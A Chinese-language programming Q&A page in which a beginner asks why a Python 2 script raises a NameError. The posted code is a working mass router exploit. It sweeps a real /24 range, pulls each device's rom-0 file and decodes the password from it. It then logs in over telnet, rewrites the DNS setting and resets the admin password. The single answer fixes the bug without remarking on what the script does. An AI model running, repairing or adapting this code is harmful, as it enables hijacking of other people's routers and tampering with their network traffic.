Question

我是python编程的新手。我正在尝试一个简单的代码，但是当我运行代码时，它会显示如下错误：

root@bt:~# python code.py
Traceback (most recent call last):
  File "code.py", line 42, in <module>
    print host+" -> Offline!"
NameError: name 'host' is not defined

我不知道如何解决这个问题。这是我的代码：

attack.py

from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
    os.system("python code.py "+str(ip))

code.py

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)

register_openers()

try:
    os.remove("rom-0")
except:
    pass
try:
    host=str(sys.argv[1])
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers)

    str1 = urllib2.urlopen(request).read()
    m = re.search('rows=10>(.*)', str1)
    if m:
        found = m.group(1)   
    tn = telnetlib.Telnet(host, 23, 3)         
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n")
    tn.write("sys password admin\n")
    print host+" -> Success" 
    tn.write("exit\n")
except:
    print host+" -> Offline!"

Answer 1

在声明变量except之前，您似乎直接进入最后一个host块。在host之前声明try/except，您应该找到实际错误的来源。我猜这个错误是因为你没有将参数传递给你的脚本：

python code.py some_argument

host="Error!" # declare host here 
try:
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")

Python错误NameError：

1 个答案: